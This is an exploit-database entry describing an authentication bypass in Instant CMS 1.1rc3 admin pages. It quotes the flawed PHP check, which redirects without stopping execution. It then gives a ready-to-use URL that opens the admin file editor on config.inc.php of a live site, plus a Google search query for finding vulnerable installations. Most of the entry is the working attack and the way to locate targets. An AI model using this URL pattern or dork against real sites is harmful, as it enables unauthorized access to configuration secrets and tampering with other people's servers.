Instant CMS <= 1.1rc3 Admin (Auth Bypass) Vulnerability

2010-03-24T00:00:00
ID 1337DAY-ID-9683
Type zdt
Reporter 0day Today Team
Modified 2010-03-24T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            =======================================================
Instant CMS <= 1.1rc3 Admin (Auth Bypass) Vulnerability
=======================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] Support e-mail  : submit[at]inj3ct0r.com
#[+] Visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net


Site product: http://instantcms.ru/
Version: 1.1rc3


admin/index.php

Vulnerable code:

 //-------CHECK AUTHENTICATION-------------------------------------- 
    if (!isset($_SESSION['user'])) {  
        header('location:login.php');  
    } else {     
        if (!cmsUserIsAdmin($_SESSION['user']['id'])){             
            if (cmsUserIsEditor($_SESSION['user']['id'])){ 
                header('location:editor/index.php'); 
            } else { header('location:login.php'); } 
        } 
    } 
    //------------------------------------------------------------------ 


	
Admin panel have no password. And then you can watch and modify any files:

http://instantcms.ru/admin/index.php?view=editor&lang=php&file=/includes/config.inc.php

-----------------------------------

Google gives about 100 results found for :

intext: InstantCMS inurl: view-content/do-read


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#  0day.today [2018-03-19]  #